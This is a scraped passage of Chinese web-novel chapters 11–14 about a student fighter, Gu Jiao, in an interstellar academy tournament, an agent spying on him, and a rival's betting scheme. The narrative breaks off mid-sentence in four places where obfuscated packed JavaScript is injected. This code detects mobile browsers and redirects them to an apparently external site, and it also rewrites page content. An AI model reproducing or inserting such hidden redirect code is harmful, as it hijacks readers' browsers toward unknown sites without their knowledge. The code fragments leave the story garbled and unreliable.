另一个人身材壮实,短寸头、下三白,眉眼间满是戾气,肩膀上爬满纹身,纹的似乎是某种异生物,身上穿的不是已知任何一个学院的院服,看模样绝非善类。 他的精神力等级强于对手,压得对方几乎喘不过气来,且行为恶劣,明明有一击制胜的机会,偏要留给对方一线生机,像猫抓老鼠般将人戏耍于掌心。 比赛进行到尾声,眼看对手快要力竭,他一改先前的若即若离,以迅雷不及掩耳之势将对方击倒在地,身躯砸在地面上发出巨大的声响,顾骄听得心肝一颤。 还没等对手开口认输,那人极具侮辱性地抬脚狠狠碾上对手的脸,然后笑着低头说了什么,看口型是“废物”。 语毕,他满脸嫌弃地在对手身上蹭掉鞋底粘的血,位置刚好是校服胸口的学院徽章。 “欺人太甚!” 联邦学院的人彻底坐不住了,起身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13352915|140228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怒斥:“就算小舟输了,也不是他这么侮辱人的理由!” “太过分了,他就是故意的!” “暗域的人就是不正常……疯子!暴力狂!” “他们就不该被允许参赛!” 暗域? 顾骄敏锐地捕捉到这个信息,虽然联赛举办方不包括暗域,但暗域的人却能以个人名义参赛,毕竟是星际联赛,联邦没有绝对的主导权。更何况,若是论及星际影响力,联邦政权与暗域孰强孰弱还真不好说。 暗域很少参与外界纷争,更不在乎百校联赛的排名,这人与其说是来比赛,其实更像是来挑衅联邦的,只是不知道他的行为是否受人指使。 顾骄有满肚子疑问无人解答,他继续若无其事地旁听别人的谈话,了解到那个暗域选手名叫敖天,这次暗域只有他一个人参加了比赛。 敖天精神力等级在S以上,肉.体力量也强得离谱,他本人对于联邦有着很强的恶意,只要匹配到联邦对手,无一例外都要放肆羞辱折磨一番,肆无忌惮的行径已经引起了很多人的不满,可惜目前还没有人能在他手下撑过二十个来回。 联邦学院这边群情激愤,众人怒发冲冠,恨不能直接冲上场去将敖天暴打一顿。 面对这么多仿佛要吃人的目光,敖天一点也不紧张,轻蔑地扯了扯嘴角,一脚将失去意识的对手踹下场。 无视裁判的示意,他双手插兜径直离场。忽然脚步一顿,越过满场的愤怒神情,皱眉回头看向联邦学院众人的方向。 四目相对,顾骄赶紧收回自己的好奇心,眼观鼻鼻观心,单方面拒绝和敖天的眼神碰撞。 要说愤怒吧,他现在是没有的。毕竟刚入学一个多月,平日里都是独来独往,他很难在这么短的时间内对联邦学院产生归属感。害怕倒是有一些,不过他怕的不是敖天,而是敖天有可能带来的强烈冲突。 因为他长了一张多看一眼好像就会打起来的脸。 别惹。 敖天精准地在人群中找到了顾骄。 在所有人都对自己怒目而视时,他的冷静反而显得格外扎眼,让人不爽。 敖天挑衅一笑,右手比出侮辱性手势,想打破那张平静的表象,没想到那人只是淡淡地转移了视线,连表情都没动过,半垂着的眼眸里充满蔑视。 完、全、没、把、他、放、在、眼、里! 很好。 敖天表情变了,把顾骄的样子仔仔细细记在脑子里,心中已经想好了在赛场上折磨他的一百种方法。 小白脸,老子记住你了。 顾骄回避许久,对方的目光还是像钉子般狠狠扎在自己身上,搞得他很不自在,不由自主地想找点事情做。 左右位置上都没人,顾骄只好低头摆弄起光脑,让自己看起来很忙。 正好这时收到一条消息。 沈月卿:【比赛还顺利吗?】 顾骄顿时像找到了救星,叽里咕噜将一路来发生的事情跟沈月卿分享,重点吐槽了某个现在还恶狠狠盯着自己不放的暗域选手。 顾骄:【唉……早知道就不乱看了】 沈月卿:【没关系,想看就看。观赛能让你将别人的技能化为己用】 顾骄顿时被点醒,对呀!他怎么就没想到呢? 来参加联赛的都是各大学院的精英,他们在赛场上用出的技巧当然会比星网上模棱两可的教学视频要精细得多,自己趁机多学习学习,就不用担心复赛输得太惨了! 11.第 11 章 沈月卿总能让原本糟糕的事情变得好起来,和他聊完天的顾骄忍不住嘴角上扬,整个人从里到外都散发着愉悦的气息,引得身边人不由自主看向他,十分诧异。 没看错吧,顾骄刚刚好像笑了? 帽檐和碎发挡住顾骄的眉眼,大部分表情都不明显,察觉到好像有人正在看自己,他连忙收敛笑容,但雀跃的心情还是会从眼睛溢出来。 心态改变之后,就连敖天不善的眼神都显得没那么刺人了。顾骄看向他站的方位,发现敖天已经不在那里,他光顾着和沈月卿聊天,连对方什么时候离开了都不知道。 联邦学院的众人正在讨论着如何向评审席举报,取消敖天的比赛资格,顾骄听了一会儿,觉得成功的可能性很低。敖天的行为虽然恶劣,但确实是靠着自己的实力赢得比赛,没有违反任何规则。 想让敖天出局,最好的办法是在赛场上正面打败他。 顾骄悄然离席,周围谁也没有发现。 赛场很大,数十场比赛同时进行,顾骄一次性看不过来,选择观众最多的比赛来看,虽然他不认识这些选手,但他相信大众的眼光。 比赛进行得如火如荼,接连观战三场,还真让顾骄悟道了不少东西,他找了个人少的角落呆着回味,感觉脑海里似乎有某种东西呼之欲出,却又总是少了点什么。 他狠狠憋着一口气,双手虚捧,用上了目前为止自己对精神力的全部理解,努力再努力,忽然—— “啵!” 一朵透明的小水母奋力钻出头来。 顾骄瞪大了眼,一把将它按回去。 心虚地环视四周,还好,没人发现。 别人的精神力外化显形都是威猛的走兽凶禽,他的怎么是这样……要是在赛场上放出来,他不敢想。 老天为什么和他开这种玩笑?这一点都不好笑! 无人在意的角落,顾骄无声地自闭了。 悲伤地思考了一会儿人生,不远处传来一阵骚动,顾骄恹恹抬眼,见乌泱泱一大群人从入口涌了进来。 人群簇拥着着的是一位老者,戴着单片眼镜,衣着十分考究,年龄在六十岁上下,精神矍铄,丝毫不见老态。周遭人满为患,都堆着笑脸跟他套近乎,但他谁也没有理会。 顾骄多看了两眼,身边有人在小声议论: “那位什么身份,排场这么足?” “你不知道吗?那就是大名鼎鼎的袁博士,晨曦研究院的院长!” “想起来了!整个联邦最权威的治愈者,他竟然也来了,难怪这么多人争着跟他套近乎,走走走,咱们也去试试……” 顾骄在听到“晨曦研究院”这几个字的时候就走不动路了。 早在来到主星之前他就了解过这个地方,联邦最先进的治疗机构,治好过无数疑难杂症,尤其擅长精神力疏导,甚至出现过唤醒脑死亡病人的奇迹。 这正是目前顾骄最需要的能力。 没想到来参加一趟百校联赛,还能有意外收获,他如果能获得袁博士的青睐,如果能够加入晨曦研究院,治愈能力一定会有质的飞跃! 顾骄立刻将方才的丧气抛到九霄云外,看向袁博士的眼神就好像在看一块散发着香味的奶油蛋糕,亮得吓人。 可惜对方并没有给他争取的机会,因为周围的人太多,很快袁博士的席位就隐入隔绝护罩之后,拒绝一切打扰。 顾骄也不气馁,反正现在才到初赛,距离联赛结束还有很长一段时间,他并不急于一时。 他低头打字,高兴地和沈月卿分享这件事。 打着打着,他的动作逐渐慢下来,缓缓按下发送键,忽然转头望向自己的侧后方,那里是一片宽阔的看台,人来人往,并无异常。 “难道是我看错了?” 暗处,迅速将自己隐藏起来贺岩惊魂未定,作为武装部最精英的特工之一,他还是第一次在跟踪目标时被对方察觉。 不过他也趁机截取到了顾骄的光脑信号,当即发送给武装部,如果技术人员能成功破译,他们就能悄无声息入侵顾骄的光脑,顺势监控他的一举一动。 屏息静待了一会儿,顾骄的疑心似乎打消了,他摸了摸自己的口袋,径直走下楼梯,去到负一楼。 负一楼是为参赛者们准备的用餐休息场所,现在比赛正是激烈之时,来这里的人并不多。 贺岩一路尾随顾骄,见他去自动售卖机买了瓶水,然后将水瓶放在靠门的座位,自己走向另一边卖红糖小汤圆的窗口。 这时耳麦里传来武装部的回应: “破译失败。” “怎么会?”贺岩低声皱眉。 虽然明面上说着尊重公民隐私,但实际市面上所有的光脑数据都在联邦数据库有备份,只要有需要,工作人员可以随时监控任何一台私人光脑且不被发现。 “顾骄的光脑信号不属于目前已知的任何频段。”技术人员解释,“根据我们的经验,他只与暗域领主的光脑同频。” 也就是说,除了沈月卿,谁也无法监控他的光脑。 听到那个名字,贺岩明白了事情的困难程度,只好放弃监控光脑的想法。“知道了,我会再找其他办法。” 通话结束,面前走过一个人,他忽然发现两秒钟前还在窗口等餐的顾骄不见了,好像凭空消失一般,就连那瓶放在桌上的水也没了踪影。 贺岩神色一凛,目光迅速扫视整个用餐区,没有找到目标。保险起见,他在墙后等待了几秒,然后匆匆忙忙走向顾骄刚才到过的窗口。 “请问,你看见我弟弟了吗?大概这么高,白色头发,戴着帽子。”贺岩着急的神色天衣无缝,就像一个担忧弟弟安全的好哥哥,“他刚才说要来买汤圆,我一眼没注意人就不见了。” 店员听完没说话,指了指他背后。 与此同时,一只手掌搭上贺岩的肩膀,属于少年的清越嗓音在他耳边响起。 “你在找我吗?” 一瞬间,贺岩全身的寒毛都竖了起来,鸡皮疙瘩从肩膀蔓延到后背。 他完全不知道顾骄是怎么从自己的眼皮底下消失,又是怎么神不知鬼不觉地来到自己身后,甚至不知道自己是在何时何地被发现的。 顾骄此人,简直深不可测! 转头对上那双无比深沉的眼睛,贺岩全力维持着表情的自然,心头却警铃大作,拿出了自己有史以来最好的演技。 “欸!你什么时候发现我的?” 顾骄看他半晌:“你……一直跟着我做什么?” “你走太快了。”贺岩扶额苦笑,“我叫你好几次,你都没听到。” 是吗?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368514|140228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 顾骄认真回忆,赛场里人很多,声音嘈杂,他或许真有可能没听见有人在叫自己。 一想到有这个可能,他顿时就不好意思起来,“那个,你找我有事吗?” 贺岩的目光从他身上飞速扫过:“没什么要紧事,就是觉得……你的发型很、特别,想问问你是在哪里做的?” 顾骄下意识拉紧帽子抽绳,将自己漂亮的脸蛋轮廓抽成向日葵,结结巴巴地问:“真、真的?你喜欢我的头发吗?” 贺岩表情真诚到不能再真诚:“没错,我在人群中一眼就注意到了,你的头发很漂亮。” 他此刻说的也不全是假话,虽然顾骄一直戴着帽子,但额前的碎发在阳光下特别好看,特别容易吸引到旁人的目光。 第一次有人夸顾骄的头发好看,他的耳朵悄悄红了,抿了抿唇,小声说:“谢谢。” “我这个是……天生的,我也不知道去哪里能做。”事实上他曾想过把头发染黑,因为过于贫穷只能作罢。 原本略显紧张的气氛一扫而空,甚至有越来越和谐的趋势,但贺岩还不敢放下警惕,谁知道顾骄是不是装的。 他的嘴像是抹了蜜,把顾骄上上下下都夸了个遍,最后说:“你的耳钉也好看,是黑曜石的吧?现在主星上已经很难找到纯度这么高的黑曜石了,有链接吗?” “啊这个……这个也没有。”顾骄很不好意思,因为帽子几乎没有摘下来过,所以很少有人会注意到他的耳钉,冷不防被贺岩这么劈头盖脸一顿夸,他几乎想要送一对耳钉给对方。幸好最后理智归位,才没有酿成大错。 “这是来自我母星的信物,证、证明身份用的,应该……没有链接。” “原来是这样,真是太遗憾了。” 贺岩身上穿的不是校服,说话是顾骄熟悉的口音,顾骄现在对他产生了很大的好感。 “你也是主星人吗?是哪个学院的?你叫什么名字呀?” 贺岩回答得很快,笑着说:“我叫贺岩,是联邦人,但不是参赛选手,你呢?” 顾骄如实自报家门,两人如此投缘,他觉得或许贺岩能成为自己的又一个朋友,所以鼓起勇气邀请贺岩和自己一起吃饭。 能与监视目标近距离接触,贺岩自然求之不得,经过短暂相处,他察觉到顾骄并非在演戏,而是真正的心性单纯,完全没有怀疑自己的意思。 顾骄又买了一份红糖汤圆端给贺岩,“尝尝这个,我刚刚吃了一口……很甜。” “多谢。” 对贺岩来说,顾骄是他需要想方设法取得信任的任务目标;而对于顾骄来说,贺岩也许会成为他来之不易的又一位朋友,他拿出了自己对待朋友所有的真诚。 两人面对面吸溜汤圆,很快打开了话匣子,氛围融洽得就像一对认识许久的好友。 顾骄被贺岩的幽默逗得哈哈直笑,正要说什么,光脑忽然震动起来,有联系人给他发来了视频通话。 顾骄的联系人只有一个,当贺岩看到屏幕上明晃晃的“沈先生”三个大字时,原本自然的笑容瞬间僵硬了起来。 顾骄接起通话,眼中笑意更深:“沈先生!” 贺岩屏息听着,通话那头传来一个柔声细语似清风拂面的声音,却让他瞬间如置冰窖。 “骄骄,你在跟谁聊天呢?” 12.第 12 章 顾骄的心脏扑通了一下。 在古武星的时候,顾骄的家人会叫他骄骄;到了主星,素雪也叫他骄骄,原本听惯了的昵称,从沈月卿口中说出来,却会让他心跳加速,不知所措。 他卡壳了好一会儿,脸烫得快冒出蒸汽了,目光都不好意思放到屏幕上:“沈、沈先生……我、你,我在……我在吃饭,红糖汤圆……” 沈月卿并不说话,单手支着下巴,眼尾半垂,好整以暇地欣赏他的慌乱,神色似笑非笑。 突如其来的情绪过于强烈,顾骄努力让自己冷静下来,假装镇定地迎上沈月卿的目光。 “咳咳……我在和朋友一起吃饭呢。” “朋友。”沈月卿眼波流转,语气中听不出什么情绪,“什么时候认识的朋友,我认识么?” “他叫贺岩,我们刚认识不久。”顾骄说着,调转屏幕,准备将贺岩介绍给沈月卿,面前的座位却是空空如也。 “欸?” 顾骄懵了,左看右看,哪里都找不到贺岩的身影,只有那碗热腾腾的红糖小汤圆还在散发甜香。 “看来你的这位新朋友并不是那么有诚意。”沈月卿的声音淡淡的。 顾骄本能为对方找理由:“可能……他有急事先走了吧,没关系的。” 但有什么急事是连跟自己打声招呼都来不及的呢?顾骄心里有些失落,贺岩突然出现又突然消失,让他交朋友的想法骤然落空。 第一次主动邀请别人一起吃饭,对方就这么莫名其妙地离开了。顾骄开始回想不久前自己跟贺岩的对话,难道是自己不小心说错话,让对方不高兴了? 顾骄脸上藏不住事,尽管努力掩饰,但沈月卿一眼就能看出他的真实想法,他又因为不相干的人心情不好了。 “别难过。”沈月卿说,“朋友不在于数量多少,要看他的真心。” 顾骄觉得这话有道理。 沈月卿看着他,忽然笑了下,“其实你没必要再去认识更多人,因为我们已经是朋友了。” 一旁候命的符辛眉心跳了跳,听出了首领这句话的潜台词——你有我就够了。 顾骄听不出潜台词,他只是觉得沈先生说得很对,并不是每个人都能像沈先生一样毫无芥蒂地接受自己,能拥有这样一位朋友,他已经足够幸运。 原本失落的心情渐渐回温。 等到通讯结束,符辛终于有机会上前汇报情况。 “您要找的人,六区那边说没有消息。不过他们抓到了故意在落日谷放出倒吊者的卧底,现在人已送到地牢,随时等候您发落。” 不等他说完,沈月卿就叹了一声。 他单手托着下颌,指腹在脸侧轻敲,眼睛转向对面椅子上坐着的仿真大耳狗。 “不交出简宜年,想随便拿条贱命打发过去。”他眉头轻蹙,语气苦恼,“我看起来很像要饭的?” 他的情绪似乎没有波动,跟随他多年的符辛却已经明白了他的意思,迟疑地说:“可是,我们目前还没有掌握六区叛变的证据。” 沈月卿:“需要证据么?” 符辛哑然。 对于沈月卿来说,怀疑一旦产生,罪名就已经成立。他不在乎会不会误杀,世界上所有人都不过是烂肉枯骨,连他自己也一样。 活着可有可无,死了也不足惜。 “这次……您还是要亲自动手么?” 这种大规模的“清理”,沈月卿从不假手于人。暴乱的精神力在时刻蚕食着他,引诱他踏入血腥与杀孽的深渊。 他从不抵抗,因为他生来就在深渊之下。 生命犹如绽放在忘川彼岸的血花,最美丽的是它们凋零之前的绝望哀嚎,这对沈月卿来说有着毒.瘾般无可比拟的吸引力。 但这一次,他有更重要的事。 “先留着吧。”沈月卿说,他勾唇捏了捏仿真玩偶的耳朵,心情看起来不错,眼底深处却透着不虞。 “备好飞船,去天马空间站。” - “砰——” 对手倒飞出界,裁判快步上前宣判比赛结果。 “获胜者——展扬!” 联邦学院掌声雷动,欢呼四起。展扬啐出一口血沫,精神力透支后的疲乏在脑海隐隐作痛,但能顺利进入复赛,他眼中满是得意。 他这可是从数千人参加的初赛中拼杀出来的机会,稳扎稳打,顾骄那种只能靠保送的货色和他根本没法比。 一想到爷爷再三告诫自己不准招惹顾骄,他就一阵气闷。 凭什么? 顾骄一没实力二没后台,不过是个只会暗地里下黑手的小人,他凭什么要怕? 虽然上次没能揭露他的真面目,但展扬毫不气馁,因为复赛就是送上门来的机会。 他就不信了,当着上千人的面,现场还有这么多大佬坐镇,顾骄还敢拿出他那套见不得人的小手段。 这次他一定要一雪前耻! 见他下场,狗腿子李二赶忙递上干净湿润的毛巾。展扬擦着身上的血渍,听到不远处的观众席上传来懊恼的呼声,一群人围在一起,脸上或笑或恼,精彩纷呈。 “嘿!我就说吧,压他准没错!” “他大爷的软脚虾!白瞎老子三百星币!” “听我的,多压几个……” 展扬眯着眼睛看过去:“那边在干什么?” 李二立刻去打听,很快颠颠地回来了。“老大,他们在下注,赌赛!” 观赛者们事先在看好的选手身上下注对赌,如果选手获胜,下注者就能赚得盆满钵满,反之则赔付本金。 赌赛原本只是个别群体之间的爱好,后来规模越来越大,参与下注的人也越来越多,如今已经发展成了官方默认的常规活动,一次下注的最高赔率能达到数万。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13382557|140228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 比赛结果出炉,有人欢喜有人愁,更多的人则在观望,寻找下一个有望胜利的目标。 展扬大步走了过来,一张星卡拍到登记人面前,丝毫不收敛自己的声音。 “三万星币,我压顾骄。” 突如其来的大手笔让众人一惊,齐齐转头看过来。不等他们插话,展扬补上一句:“压他夺冠。” 赛场上局势瞬息万变,黑马层出不穷,不到最后一刻谁也猜不到结果,即使是红了眼的赌徒,也很少有人能在一个人身上压上此等巨款。 各学院人才辈出,胜利已经来之不易,夺冠更是万里挑一。这顾骄到底什么来头,竟让人对他信任至此? 这时李二在混在人群中惊呼:“顾骄!是今年联邦学院那个S级特招生吗?” 敏感的字眼立刻吸引了不少注意,有人不可思议:“S级的新生?” “没错,据说当时他的精神力检测结果距离SS只差一点,不出意外很快就能突破了!” “还有这种事?我印象里的上一个SS级……现在已经是统帅级别的人物了。” “就算是上一届百校联赛的冠军,距离SS也还差得远呢!” “顾骄要真有希望突破SS,这满场比赛还有谁能是他的对手?在场有联邦学院的人吗?这人说的是不是真的?” “我就是联邦学院的。”展扬双手抱胸,露出自己的校徽,一本正经地说,“顾骄测试精神力那天我也在场,我敢肯定,他距离SS级只有一步之遥。” “这件事情在我们学院不是什么秘密,不然你们随便拉个人问问,学院里有人敢招惹他吗?大家连话都不敢跟他说。” 展扬当然是在扯淡,精神力测试那天他在家里睡大觉,哪里知道顾骄的具体情况。 他只管夸大了说,反正刚到S级是S级,差点到SS级还是S级,没人知道他的话是真是假。 众人半信半疑,有门道的人很快查到了点东西。 “顾骄……我说怎么对这个人没印象,他直接保送复赛了!” 并且据另外一名联邦学院的学生所说,顾骄在学院里相当孤傲,从来没人能近身,就连风纪委员也不敢跟他打交道。 种种证据叠加,多数人已经开始相信展扬的话,毕竟精神力等级实实在在做不得假。 有心急的人立刻跟注:“三百星币,我压顾骄下局获胜!” “五百,我也压他获胜!” “我跟一千!” “妈的老子再赌一把,三千!就赌他夺冠!” “……” 赌注不断累积,很快就超过了展扬原本投入的三万星币,还有越堆越快的趋势。 现场气氛火热,数字飞速上涨,赔率直逼最高记录。看着眼前狂热下注的众人,展扬勾起一个阴险的笑容。 顾骄啊顾骄,你就等着被一人一口唾沫淹死吧! 13.第 13 章 为期三天的初赛落下帷幕,初赛淘汰的选手没有直接离开,大多选择留下来观赛,所以即便淘汰了大部分人,整个赛场与初赛第一天也没有多少分别,仍旧座无虚席。 从睡眠舱里出来,顾骄很快察觉到一点异样。 不知道是不是他的错觉,总觉得周围人似乎都在明里暗里地打量自己,但当他看过去时,所有的目光又都收了回去。 “就是他吧?” “看起来确实不好相处。” “我在他身上压了五百星币呢!希望他真的像看起来的一样靠谱。” “嘘!小点声,别被他听到了……” 听不清楚的窃窃私语很容易让人产生不安,顾骄下意识摸摸自己的帽子,戴得很妥帖;低头检查,衣服鞋子也没有穿反。 所以到底是哪里不对? 没人能为他解答,他只好揣着满腹疑问去到赛场。 不过很快他就没心思在意这些了,因为他的比赛被安排在了第一场。 复赛和初赛不同,如果说初赛是大浪淘沙,那么复赛就是火炼真金,选手们各有底牌,每场战斗都能给观众带来惊喜。 经过初赛三天的暗中观察,顾骄自认为对精神力的掌握有了更深层次的理解。虽然精神体的形态还是那么…… 但他已经能用精神力同时击飞三个易拉罐了! 技术上的突破多多少少带给了他一点信心,所以当脚踏实地站在比赛场上时,他没有如同想象中一般头脑空白。 别慌,冷静,专注比赛。 头顶洒下的阳光晃得人眼晕,顾骄闭了闭眼,强迫自己忽视来自四面八方的注视。 他深吸一口气,看向对手,念出翻来覆去准备了许久的开场白。 “你好,我是来自联邦学院的顾骄,很荣幸与你对战,接下来请多指教。” 没有念错字,是一个很好的开始。 顾骄的对手来自伽蓝星皇家学院,伽蓝星实行君主制,此次前来参赛的是天赋异禀的七皇子伽蓝越。 这位皇子殿下并没给顾骄好脸色看,反而从一开始就充满敌意,对他的问好没有任何回应,只盯着顾骄冷冷地吐出一句: “你就是联邦学院的S级特招生?” 这个问题来得莫名其妙,顾骄不明所以地点了头:“是的,是我。” “行。”伽蓝越也点点头,“还算有种。” “我……怎么了?” 面对伽蓝越没来由的敌意,顾骄相当困惑,事实上从今天早上踏出睡眠舱的那一刻起,他就总觉得自己好像游离在状况之外。 大家为什么都这么奇怪,发生了什么他不知道的事情吗? 伽蓝越冷笑,“听说你在外面大放厥词,要将我族皇冠上的宝珠摘下来当球踢?” 顾骄:! 这太冒昧了。 他光是听着都觉得不像话,“不、不是我,我没说过这种话。” “除了你还能有谁!”伽蓝越怒了,“你仗着精神力出众,就自以为能横行无忌了吗?” 不等顾骄辩解,他俯身猛冲,精神力化作狠辣长鞭,在空中劈出一道耀目的电光,直冲顾骄而来。 比赛应声开始,顾骄惊险避过,与对方擦肩而过时认真补充:“真的不是我,昨天晚上我没有离开睡眠舱。” 伽蓝越怒火中烧,一心认为他在狡辩,根本听不进去。 伽蓝族皇冠上的宝珠传说是先祖心脏所化,乃全族上下不容玷污的珍宝和荣耀,不管这话是不是出自顾骄之口,光是这种说法就已经触碰到了伽蓝越的逆鳞。 长鞭攻势来得又狠又急,真抽到人身上不死也是半残,劈里啪啦的电光牵动着每一个观众的心神,大家对于伽蓝越的实力有了清晰认知。 眼看计划成功,看台上的展扬简直眉飞色舞。 不枉他这些天觉都没睡好,整天顶着顾骄的名号在外面胡说八道,几乎把强势选手的仇恨都拉了个遍。 这些言论包括但不限于:把伽蓝星皇冠上的宝珠摘下来当球踢、械星人都是只会躲在机甲里蠕动的蛆、饕餮星引以为傲的国宴全是大便…… 不管顾骄最后遇到的对手是谁,展扬都准备好了刺激性发言,句句往人家肺管子上戳,是个人都会生气。 只是他没想到,顾骄竟能在盛怒的伽蓝越手下坚持这么久,那一鞭鞭抽下来,如果换成展扬迎战,他自问也很难全部避开。 顾骄左闪右避,伽蓝越的鞭子抽不到人,自己反而有了疲乏的迹象,他怒喊:“你难道就只会躲吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13399923|140228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然而顾骄此刻心思完全没在比赛上,他就想找个机会把事情解释清楚,可伽蓝越完全不给他开口的机会。 说话总是被打断,顾骄心里委屈得不行:“你先听我说完好不好?我真的没说过那种话,昨天晚上我一直在练……” “闭嘴!”伽蓝越只想让他好看。 “嗤——” 电光划过顾骄侧脸,一道血痕应声出现,帽檐也划出一个口子,兜帽挂在头上岌岌可危。 微卷的发丝从缺口处钻了出来,顾骄第一时间伸手护住帽子,此时心里终于生出了点糟糕的情绪。 不听他解释就算了,还弄坏他衣服! 他一共就两套衣服! 顾骄退到赛场边缘,“你别太、太过分。” “过分吗?”伽蓝越冷笑,一电鞭呼啸而出。 “我不觉得。” 在所有人的注视下,精神力化作的长鞭带着极强的压迫感,宛如游蛇般张开獠牙,以迅雷不及掩耳之势袭向顾骄。 可顾骄似乎已经力竭,又或者无处可躲,竟站在原地一动不动。 在他身上下注的人急了:“跑啊!快跑!发什么愣呢!” 展扬抱着手臂,心里已经开始提前庆功。 小小顾骄,拿下! 然而下一秒,所有人都呆住了。 来势汹汹的长鞭没有落到顾骄身上,而是被他抓住了。 徒手……抓住了。 大家简直不敢相信自己的眼睛。 那是精神力外化显形而成的长鞭没错吧? 鞭身上还闪着电弧没错吧? 伽蓝越……是伽蓝星引以为傲的天才皇子没错吧? 那么上一秒还被追得满场躲的顾骄,现在是怎么做到牢牢抓住鞭子面不改色的? 伽蓝越也震惊了,他想要收回精神力,抓住他的那只手却像把巨钳,全然无法撼动。 他愕然抬头,对上那双隐藏在帽檐阴影下不含一丝情绪的眼眸,头皮一阵发麻。 难怪对方之前一直不出手,原来不是害怕,而是不屑。 这就是……属于强者的压迫感吗? 可……可恶! 顾骄用力瞪着伽蓝越,侧脸火辣辣的疼。 这个人,真的很过分! 14.第 14 章 比赛结束得太过突然,以至于大家都没反应过来。 顾骄一记擒拿将伽蓝越锁住,伽蓝越双手被反剪在背后,肩膀抵住地面,脸上全是灰尘。 与精神体的联系被彻底切断,那条势如破竹的长鞭孤零零躺在地上,很快消散成空。 顾骄半跪着,一手桎梏住伽蓝越两只手腕,另一手紧握成拳,手臂曲起,肘部压在他的肩背处,将他稳稳钉在身下动弹不得。 被全面压制的姿势让伽蓝越大受其辱。 “你……放开我!” 顾骄:“我可以放开你,那你能好好听我说话吗?” 伽蓝越:“你到底要说什么!” 顾骄:“你错怪我了,那句话不是我说的。” 伽蓝越咬着牙不说话,斜眼瞪着顾骄。 顾骄把身子压下去了一点,看着他的眼睛,认真解释:“真的不是我,昨天我一整天都在睡眠舱练习控制精神力,只出来吃过一次饭,别的地方哪也没去,不信你可以看监控。” 伽蓝越感觉身上所有的骨骼都在吱呀作响,被顾骄击中的地方没有伤口,却疼得他几乎说不出话来,腮肉直颤,不知道顾骄从哪里学来的邪招,真是让他一点办法都没有。 亏他几分钟前还喊打喊杀,结果竟然这么容易败下阵来,今天他的脸面算是丢光了。 而顾骄还在跟他掰扯自己被冤枉的事,一脸严肃的神情大有伽蓝越不相信就不放手的架势。 上千人就这么看着自己被按在地上摩擦,伽蓝越缓缓闭眼,第一次从旁人的目光中感受到了折磨。 他从牙缝里挤出两个字:“放、手。” 顾骄警觉:“你相信我了?” 烈日当空,伽蓝越气得浑身发热,额头青筋直跳,他拿顾骄没办法,扭头冲裁判大喊:“我认输!让他滚!” 顾骄闻言就呆住了。 为什么认输? 裁判快速靠近,示意顾骄起身,然后握住他的右手往头顶一举—— “本轮比赛获胜者——顾骄!” 欢呼声瞬间炸开,无数在顾骄身上砸钱赌他赢的人大赚特赚,观众席兴奋的呐喊从涓涓细流汇成声势浩大的浪潮,一波一波冲刷着每个人的鼓膜。 “顾骄!” “顾骄!” “顾骄!” 成为全程焦点的顾骄本人还没回过神。 比赛这就结束了?可是……他们明明还没有开打,这不是在好好地解释误会嘛? 他试图向裁判澄清,然而微小的声音很快在铺天盖地的喝彩声中淹没。 伽蓝越最后瞪了他一眼,而后撞开试图给自己披上披风的侍从,捂着侧腰背影僵硬地离开了。 裁判对顾骄点点头:“联赛已经很久没出现过实力像你这样强劲的选手了,你是好样的。” 好像……真的赢了。 顾骄这才有了些赢下比赛的实感。他拘谨地站在赛场上,四面八方对他投来热切的目光,他们在笑,不是疏远躲避的淡漠眼神,而是发自内心的开怀大笑;他们高呼着顾骄的名字,声音回荡在日空之下久久不息。 被周围的热烈气氛所感染,顾骄的心跳也逐渐跃动起来,像快乐的鼓点,在胸腔中砰砰作响。 他回过神来,双手紧张地背在身后,朝着东南西北四个方向鞠躬,小声道谢:“谢谢……谢谢大家。” 尽管平时和顾骄并无来往,但此时他打败伽蓝越,联邦学院的学生们还是与有荣焉,在初赛上被敖天狠狠打压的士气开始回升,他们的脸上也有了笑容。 除了展扬。 “老……老大,你没事吧?” 展扬一张黑脸快拉到地上了,李二小心翼翼开口,生怕触了他的霉头。 “呵呵,复赛而已。有什么可得意的?” 展扬恨恨盯着顾骄,冷哼一声:“到了决赛有他好看!” “可、可是老大……老大?” “你在狗叫什么?!” 